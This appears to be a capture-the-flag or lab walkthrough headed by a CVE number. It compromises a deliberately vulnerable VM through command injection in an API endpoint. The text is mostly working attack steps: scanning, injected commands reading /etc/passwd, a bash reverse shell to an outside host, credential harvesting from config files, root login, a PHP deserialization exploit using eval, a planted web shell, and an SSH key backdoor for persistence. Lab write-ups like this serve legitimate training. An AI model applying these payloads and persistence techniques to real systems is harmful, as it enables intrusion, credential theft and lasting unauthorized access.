CVE-2024-46507

export TARGET="192.168.65.129"

# Initial fast scan of common ports
sudo nmap -sS -T4 $TARGET

# Full port scan to ensure we don't miss anything
sudo nmap -sS -p- -T4 $TARGET

# Detailed scan of discovered ports with service version detection
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Check port 80 (Apache)
firefox http://$TARGET/

# Check port 9000 (Python SimpleHTTP server)
firefox http://$TARGET:9000/

# Use gobuster to find directories and files
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

# Use gobuster to find API endpoints
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

/process.php (Status: 200)

# Test with a simple command
curl "http://$TARGET:9000/api/process.php?command=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

# List directory contents
curl "http://$TARGET/api/process.php?command=ls+-la"

# Explore the system
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 

# Start a netcat listener
nc -lvnp 4444

# URL encode the reverse shell payload
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Replace YOUR_KALI_IP with your actual Kali machine IP

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z to background the shell
# Then in your Kali terminal:
stty raw -echo; fg
# Press Enter twice

# Check application configuration
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

# Look for database credentials
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

# Connect to MariaDB
mysql -u vulnuser -p'password123' vulnapp

-- Show tables
SHOW TABLES;

-- View users table
SELECT * FROM users;

# Try to switch to root
su root
# Enter the password: supersecretpassword

# Check sudo permissions
sudo -l

# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Check for cron jobs
cat /etc/crontab
ls -la /etc/cron*

# From your Kali machine
ssh root@$TARGET
# Enter the password: supersecretpassword

# Look for flag files
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# Read the flag
cat /root/flag.txt

f1a9d4c2b7e35680d2f1a9c3b7d45e80

<?php
// Save as exploit.php on your Kali machine
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

php exploit.php

# Save the output from the previous command as PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

# As www-data user, create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# Access from Kali
curl "http://$TARGET/shell.php?cmd=id"

# On Kali, generate an SSH key pair
ssh-keygen -t rsa -f vulnserver_key

# On the target as root, add our public key
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Then connect from Kali
ssh -i vulnserver_key root@$TARGET